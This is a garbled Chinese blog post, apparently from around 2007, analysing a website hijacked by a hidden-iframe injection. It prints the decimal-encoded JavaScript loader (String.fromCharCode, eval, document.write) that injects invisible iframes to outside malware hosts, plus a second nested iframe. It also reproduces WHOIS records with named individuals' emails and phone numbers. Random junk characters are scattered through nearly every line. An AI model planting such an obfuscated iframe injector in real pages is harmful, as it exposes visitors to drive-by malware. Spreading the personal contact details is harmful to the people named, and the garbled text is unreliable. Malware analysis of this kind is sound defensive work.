首发在我的博客里面，
0o &B 7N x !QA* M http://www.areway.cn/?p=175 1y}tPkOe7O H!vX # 0V5 {:mzA 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
S1D;Xv@ 'e5,%"5(c <script>t=’60,105,102,114,97,109,101,
Z|IFT1K 32,115,114,99,61,104,116,116,112,58,47,47,
m?_@.O@] 102,114,101,101,46,117,45,117,117,117,46,99,
A
^U`c'$ 110,47,101,114,114,111,114,46,104,116,109,
1G62Qu$O 32,119,105,100,116,104,61,49,48,48,32,104,
F `U
YgN 101,105,103,104,116,61,48,62,60,47,105,102,
#xTu { 114,97,109,101,62′;
q;#:nf" t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
Z&Ao ;=Gp1 A!.* eIV| <script>t=’60,105,102,114,97,109,101,32,115,
xA {1XS} 114,99,61,104,116,116,112,58,47,47,102,114,
)! jX$bK 101,101,46,117,45,117,117,117,46,99,110,47,
5B,HJax 101,114,114,111,114,46,104,116,109,32,119,
V^ 5Z9! 105,100,116,104,61,49,48,48,32,104,101,105,
z1`z
k 0 103,104,116,61,48,62,60,47,105,102,114,97,
)*I%rN8b
109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
0f3C; u-q- document.write(t);</script>
HC\\w- `< k}$k6 Sr" <html xmlns=”
l5fF.A7TT http://www.w3.org/1999/xhtml rtY4 B~ _ “>
]/y6 9ou <head>
:MbD=sX <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
QB|D_?] <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
rN5;W <title>首页 - 爱生活家庭网
JwM Fu5 @ T^XU5qgN 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
QQIU5 转换字符串后的大概内容是（谁点击后果自付）：
:dkBr@u96O <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
+KKx\m* K}1eQS&$a 查询玉米u-uuu.cn的详细信息：
Sw^-@w=!U5 Domain Name: u-uuu.cn
]`GDZw` ROID: 20070901s10001s64972306-cn
*&sXC@^@^ Domain Status: ok
Oxq} dX7S Registrant Organization: 王雷
* Qe{CE Registrant Name: 王雷
Z5%T pAu[ Administrative Email:
czlovexs@126.com r(uf yC& Sponsoring Registrar: 北京万网志成科技有限公司
?~#{3 b Name Server:ns.yovole.com
`UH 1B/ Name Server:ns1.yovole.com
X"p p l 7o Registration Date: 2007-09-01 17:54
P|{Et=R`1 Expiration Date: 2008-09-01 17:54
`p{,C `g,R 最后PING了一下地址 都没有什么….
[5O ` I sna
KcLM 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
AiE\PMF~{P <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
s#2<^6 <script language=”javascript” src=”
S+Vsy( http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script Yiy|^j >
sg!* %*XQ 这个玉米应该有可能是木马作者的：
LJII7<k foafau.info的详细信息：
|`i.8 Access to INFO WHOIS information is provided to assist persons in
:U$U:e determining the contents of a domain name registration record in the
wM#BQe3t# Afilias registry database. The data in this record is provided by
X=d;WT4,, Afilias Limited for informational purposes only, and Afilias does not
vhaUV#V" guarantee its accuracy. This service is intended only for query-based
zgR@-OtFZ access. You agree that you will use this data only for lawful purposes
e+=I GYC and that, under no circumstances will you use this data to: (a) allow,
"=r"c$ xou enable, or otherwise support the transmission by e-mail, telephone, or
- yn;Jo2- facsimile of mass unsolicited, commercial advertising or solicitations
OP}8u"\Z to entities other than the data recipient’s own existing customers; or
*S$`/X (b) enable high volume, automated, electronic processes that send
;UB$ Uqs6 queries or data to the systems of Registry Operator, a Registrar, or
?
(f44Zgm Afilias except as reasonably necessary to register domain names or
j*05!j<' modify existing registrations. All rights reserved. Afilias reserves
8NS1* \z the right to modify these terms at any time. By submitting this query,
dx I t.h you agree to abide by this policy.
`GD>3- Domain ID:D22418703-LRMS
WCPl}7> Domain Name:FOAFAU.INFO
KB^i=+xr Created On:20-Nov-2007 16:05:42 UTC
|#D$9+ Last Updated On:20-Nov-2007 16:05:44 UTC
fW'U 7&O Expiration Date:20-Nov-2008 16:05:42 UTC
uRu)iBd D Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
M$Of. Status:CLIENT DELETE PROHIBITED
)-4xI4 Status:CLIENT RENEW PROHIBITED
b+`mh Status:CLIENT TRANSFER PROHIBITED
>4lT0~V/ Status:CLIENT UPDATE PROHIBITED
"TgE@bC Status:TRANSFER PROHIBITED
|+0XO?,sZ Registrant ID:GODA-040110615
>HH49 cCo Registrant Name:liu hong
4; hgi[ Registrant Organization:
SWGD(]}uz Registrant Street1:beijing
%:
.{?FB_ Registrant Street2:
Oor &1 Registrant Street3:
umo@JWr Registrant City:beijing
fsDwfwil* Registrant State/Province:
CN "hx-f Registrant Postal Code:100000
ugI9rxT]Kv Registrant Country:CN
]2Q :&T Registrant Phone:+86.860108888777
y HL5gz@k Registrant Phone Ext.:
C* I~14 Registrant FAX:
3h|:ew[ Registrant FAX Ext.:
k)a-odNrb Registrant Email:bbbshiji@163.com
L--(Y+vmf Admin ID:GODA-240110615
\%! ~pfM I Admin Name:liu hong
l[EjtN Admin Organization:
MXj7Z3 Admin Street1:beijing
AqzPwO^ Admin Street2:
}`,}e 259 Admin Street3:
!7O!)WJ Admin City:beijing
"""gV)Y Admin State/Province:
utvZ< zz` Admin Postal Code:100000
4mY(* 2:HC Admin Country:CN
1L=6Z2*fB4 Admin Phone:+86.860108888777
UHEn+T c> Admin Phone Ext.:
r6Hdp Admin FAX:
1E*No1 Admin FAX Ext.:
%EooGHGF? Admin Email:bbbshiji@163.com
6SIk,Isy8 Billing ID:GODA-340110615
8C{mV^cn~ Billing Name:liu hong
$`emP
Hel Billing Organization:
<+QX Gz1 Billing Street1:beijing
T&] J3T FJ Billing Street2:
07_ym\N Billing Street3:
6DFF:wrm& Billing City:beijing
% ;E/{ gO Billing State/Province:
. .| >|X4 Billing Postal Code:100000
?1?zma S Billing Country:CN
0DBA 'Cv Billing Phone:+86.860108888777
`KgWaf- Billing Phone Ext.:
WmRx_d_ Billing FAX:
eL-9fld /n Billing FAX Ext.:
%\
i 7 Billing Email:bbbshiji@163.com
ZgcJxWC< Tech ID:GODA-140110615
hZ0CnY8 ' Tech Name:liu hong
\P;%fN Tech Organization:
aF9p%HPD w Tech Street1:beijing
%U& O
\GB Tech Street2:
&_^t$T o Tech Street3:
- o8H_MR Tech City:beijing
<J`",h Tech State/Province:
3+_
.I{ Tech Postal Code:100000
K{}U[@_tS Tech Country:CN
hy"O_Le Tech Phone:+86.860108888777
ER O'{nT& Tech Phone Ext.:
swBgV,; Tech FAX:
:3s5{s Tech FAX Ext.:
>Q$, } `U; Tech Email:bbbshiji@163.com
4E`y*Hmzy+ Name Server:NS27.DOMAINCONTROL.COM
TU-4+o%; Name Server:NS28.DOMAINCONTROL.COM
I]"wT2@T;7 Name Server:
E*ug.nxy Name Server:
K 9ytot Name Server:
nVF?.c Name Server:
RnN]m!"5 Name Server:
JM-spi o Name Server:
,m-z D Name Server:
?mJNzHrq; Name Server:
+0016UgS# Name Server:
NW'rqgG Name Server:
K85;7R5 Name Server:
ccc*"_45# (5s$vcK 接着下载每个文件里面的代码：
ieN}Ajl2 一步一步看..
0UEEvD5 
v)*/E'Cr* 
lL O|, 
{8)Pk e 
o~#cpU4{ o 
sw.c w}1 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
